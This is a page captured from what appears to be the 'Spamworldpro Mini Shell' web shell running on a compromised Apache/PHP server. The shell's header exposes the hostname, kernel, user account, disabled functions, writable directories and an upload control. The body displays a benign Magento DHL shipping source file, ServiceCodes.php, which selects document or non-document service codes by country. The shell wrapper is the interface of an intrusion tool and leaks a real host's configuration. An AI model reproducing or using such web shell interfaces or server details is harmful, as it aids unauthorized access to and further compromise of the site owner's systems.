Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/extmag/dhlshipping2/Model/Source/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/extmag/dhlshipping2/Model/Source/ServiceCodes.php
<?php
/**
 * Copyright © Extmag. All rights reserved.
 */

namespace Extmag\DhlShipping\Model\Source;

use Extmag\Shiplab\Helper\Manager;

class ServiceCodes extends Generic
{
    /**
     * @var string
     */
    protected $code = 'service_code';

    /**
     * @var Manager
     */
    protected $manager;

    /**
     * @inheritdoc
     */
    public function __construct(
        DataSet $dataSet,
        Manager $manager
    ) {
        parent::__construct($dataSet);
        $this->manager = $manager;
    }

    /**
     * Get Name By Code
     *
     * @param $code
     * @param $countryFrom
     * @param $countryTo
     * @return mixed|string
     */
    public function getNameByCode($code, $countryFrom, $countryTo)
    {
        $methods = $this->toArrayByCountries($countryFrom, $countryTo);
        return $methods[$code] ?? '';
    }

    /**
     * To Array By Countries
     *
     * @param $countryFrom
     * @param $countryTo
     * @return array
     */
    public function toArrayByCountries($countryFrom, $countryTo)
    {
        $originName = $this->getOriginName($countryFrom, $countryTo);

        $orShipArr = $this->getData();
        $subArray = [];
        foreach ($orShipArr as $key => $val) {
            if ($key == $originName) {
                foreach ($val as $k => $v) {
                    $subArray[$k] = $v;
                }

                break;
            }
        }

        return $subArray;
    }

    /**
     * To Array With All
     *
     * @param $countryFrom
     * @param $countryTo
     * @return array
     */
    public function toArrayWithAll($countryFrom = null, $countryTo = null)
    {
        $orShipArr = $this->getData();
        $subArray = [];
        foreach ($orShipArr as $key => $val) {
            foreach ($val as $k => $v) {
                $subArray[$k] = $v;
            }
        }

        return $subArray;
    }

    /**
     * Get Codes Only
     *
     * @return array
     */
    public function getCodesOnly()
    {
        $orShipArr = $this->getData();
        $subArray = [];
        foreach ($orShipArr as $key => $val) {
            foreach ($val as $k => $v) {
                $subArray[$k] = $v;
            }
        }

        return array_unique($subArray);
    }

    /**
     * Get Data
     *
     * @return array
     */
    public function getData()
    {
        return $this->dataSet->getCode($this->code);
    }

    /**
     * Get Origin Name
     *
     * @param $countryFrom
     * @param $countryTo
     * @return string
     */
    public function getOriginName($countryFrom, $countryTo){
        $originName = 'Doc';
        if ($countryFrom != $countryTo
            && (!$this->manager->isCountryInEU($countryFrom)
                || !$this->manager->isCountryInEU($countryTo)
            )
        ) {
            $originName = 'Non-Doc';
        }

        return $originName;
    }
}

Spamworldpro Mini